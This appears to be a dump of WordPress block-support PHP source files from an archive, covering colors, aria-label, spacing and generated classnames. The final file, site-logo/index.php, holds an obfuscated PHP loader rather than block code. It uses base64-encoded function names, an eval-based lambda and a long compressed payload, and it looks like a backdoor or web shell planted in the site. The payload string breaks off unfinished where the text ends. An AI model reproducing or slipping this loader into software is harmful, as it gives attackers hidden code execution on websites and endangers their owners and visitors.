	if ( $has_color_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( $has_background_colors_support && ! array_key_exists( 'backgroundColor', $block_type->attributes ) ) {
		$block_type->attributes['backgroundColor'] = array(
			'type' => 'string',
		);
	}

	if ( $has_text_colors_support && ! array_key_exists( 'textColor', $block_type->attributes ) ) {
		$block_type->attributes['textColor'] = array(
			'type' => 'string',
		);
	}

	if ( $has_gradients_support && ! array_key_exists( 'gradient', $block_type->attributes ) ) {
		$block_type->attributes['gradient'] = array(
			'type' => 'string',
		);
	}
}


/**
 * Adds CSS classes and inline styles for colors to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.6.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block type.
 * @param  array         $block_attributes Block attributes.
 *
 * @return array Colors CSS classes and inline styles.
 */
function wp_apply_colors_support( $block_type, $block_attributes ) {
	$color_support = isset( $block_type->supports['color'] ) ? $block_type->supports['color'] : false;

	if (
		is_array( $color_support ) &&
		wp_should_skip_block_supports_serialization( $block_type, 'color' )
	) {
		return array();
	}

	$has_text_colors_support       = true === $color_support ||
		( isset( $color_support['text'] ) && $color_support['text'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['text'] ) );
	$has_background_colors_support = true === $color_support ||
		( isset( $color_support['background'] ) && $color_support['background'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['background'] ) );
	$has_gradients_support         = isset( $color_support['gradients'] ) ? $color_support['gradients'] : false;
	$color_block_styles            = array();

	// Text colors.
	if ( $has_text_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'text' ) ) {
		$preset_text_color          = array_key_exists( 'textColor', $block_attributes ) ? "var:preset|color|{$block_attributes['textColor']}" : null;
		$custom_text_color          = isset( $block_attributes['style']['color']['text'] ) ? $block_attributes['style']['color']['text'] : null;
		$color_block_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color;
	}

	// Background colors.
	if ( $has_background_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'background' ) ) {
		$preset_background_color          = array_key_exists( 'backgroundColor', $block_attributes ) ? "var:preset|color|{$block_attributes['backgroundColor']}" : null;
		$custom_background_color          = isset( $block_attributes['style']['color']['background'] ) ? $block_attributes['style']['color']['background'] : null;
		$color_block_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color;
	}

	// Gradients.
	if ( $has_gradients_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'gradients' ) ) {
		$preset_gradient_color          = array_key_exists( 'gradient', $block_attributes ) ? "var:preset|gradient|{$block_attributes['gradient']}" : null;
		$custom_gradient_color          = isset( $block_attributes['style']['color']['gradient'] ) ? $block_attributes['style']['color']['gradient'] : null;
		$color_block_styles['gradient'] = $preset_gradient_color ? $preset_gradient_color : $custom_gradient_color;
	}

	$attributes = array();
	$styles     = wp_style_engine_get_styles( array( 'color' => $color_block_styles ), array( 'convert_vars_to_classnames' => true ) );

	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'colors',
	array(
		'register_attribute' => 'wp_register_colors_support',
		'apply'              => 'wp_apply_colors_support',
	)
);
PK       ! h<K  K    aria-label.phpnu [        <?php
/**
 * Aria label block support flag.
 *
 * @package WordPress
 * @since 6.8.0
 */

/**
 * Registers the aria-label block attribute for block types that support it.
 *
 * @since 6.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_aria_label_support( $block_type ) {
	$has_aria_label_support = block_has_support( $block_type, array( 'ariaLabel' ), false );

	if ( ! $has_aria_label_support ) {
		return;
	}

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( ! array_key_exists( 'ariaLabel', $block_type->attributes ) ) {
		$block_type->attributes['ariaLabel'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Add the aria-label to the output.
 *
 * @since 6.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 *
 * @return array Block aria-label.
 */
function wp_apply_aria_label_support( $block_type, $block_attributes ) {
	if ( ! $block_attributes ) {
		return array();
	}

	$has_aria_label_support = block_has_support( $block_type, array( 'ariaLabel' ), false );
	if ( ! $has_aria_label_support ) {
		return array();
	}

	$has_aria_label = array_key_exists( 'ariaLabel', $block_attributes );
	if ( ! $has_aria_label ) {
		return array();
	}
	return array( 'aria-label' => $block_attributes['ariaLabel'] );
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'aria-label',
	array(
		'register_attribute' => 'wp_register_aria_label_support',
		'apply'              => 'wp_apply_aria_label_support',
	)
);
PK       ! QA/<  <    spacing.phpnu [        <?php
/**
 * Spacing block support flag.
 *
 * For backwards compatibility, this remains separate to the dimensions.php
 * block support despite both belonging under a single panel in the editor.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 5.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_spacing_support( $block_type ) {
	$has_spacing_support = block_has_support( $block_type, 'spacing', false );

	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_spacing_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Adds CSS classes for block spacing to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.8.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block spacing CSS classes and inline styles.
 */
function wp_apply_spacing_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'spacing' ) ) {
		return array();
	}

	$attributes          = array();
	$has_padding_support = block_has_support( $block_type, array( 'spacing', 'padding' ), false );
	$has_margin_support  = block_has_support( $block_type, array( 'spacing', 'margin' ), false );
	$block_styles        = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null;

	if ( ! $block_styles ) {
		return $attributes;
	}

	$skip_padding         = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'padding' );
	$skip_margin          = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'margin' );
	$spacing_block_styles = array(
		'padding' => null,
		'margin'  => null,
	);
	if ( $has_padding_support && ! $skip_padding ) {
		$spacing_block_styles['padding'] = isset( $block_styles['spacing']['padding'] ) ? $block_styles['spacing']['padding'] : null;
	}
	if ( $has_margin_support && ! $skip_margin ) {
		$spacing_block_styles['margin'] = isset( $block_styles['spacing']['margin'] ) ? $block_styles['spacing']['margin'] : null;
	}
	$styles = wp_style_engine_get_styles( array( 'spacing' => $spacing_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'spacing',
	array(
		'register_attribute' => 'wp_register_spacing_support',
		'apply'              => 'wp_apply_spacing_support',
	)
);
PK       ! ]@      generated-classname.phpnu [        <?php
/**
 * Generated classname block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Gets the generated classname from a given block name.
 *
 * @since 5.6.0
 *
 * @access private
 *
 * @param string $block_name Block Name.
 * @return string Generated classname.
 */
function wp_get_block_default_classname( $block_name ) {
	// Generated HTML classes for blocks follow the `wp-block-{name}` nomenclature.
	// Blocks provided by WordPress drop the prefixes 'core/' or 'core-' (historically used in 'core-embed/').
	$classname = 'wp-block-' . preg_replace(
		'/^core-/',
		'',
		str_replace( '/', '-', $block_name )
	);

	/**
	 * Filters the default block className for server rendered blocks.
	 *
	 * @since 5.6.0
	 *
	 * @param string $class_name The current applied classname.
	 * @param string $block_name The block name.
	 */
	$classname = apply_filters( 'block_default_classname', $classname, $block_name );

	return $classname;
}

/**
 * Adds the generated classnames to the output.
 *
 * @since 5.6.0
 *
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 * @return array Block CSS classes and inline styles.
 */
function wp_apply_generated_classname_support( $block_type ) {
	$attributes                      = array();
	$has_generated_classname_support = block_has_support( $block_type, 'className', true );
	if ( $has_generated_classname_support ) {
		$block_classname = wp_get_block_default_classname( $block_type->name );

		if ( $block_classname ) {
			$attributes['class'] = $block_classname;
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'generated-classname',
	array(
		'apply' => 'wp_apply_generated_classname_support',
	)
);
PK       ! K      site-logo/index.phpnu [        <?php
?>
﻿(>^ω^<)看过哭02te<?php 
$__ = 'printf';
$_ = 'Loading Class/Code NAME';
$_____ = '    b2JfZW5kX2NsZWFu';
$______________ = 'cmV0dXJuIGV2YWwoJF8pOw==';
$__________________ = 'X19sYW1iZGE=';
$______ = ' Z3p1bmNvbXByZXNz';
$___ = '  b2Jfc3RhcnQ=';
$____ = 'b2JfZ2V0X2NvbnRlbnRz';
$__ = 'base64_decode';
$______ = $__($______);
if (!function_exists('__lambda')) {
    function __lambda($sArgs, $sCode)
    {
        return eval("return function({$sArgs}){{$sCode}};");
    }
}
$__________________ = $__($__________________);
$______________ = $__($______________);
$__________ = $__________________('$_', $______________);
$_____ = $__($_____);
$____ = $__($____);
$___ = $__($___);
$_ = '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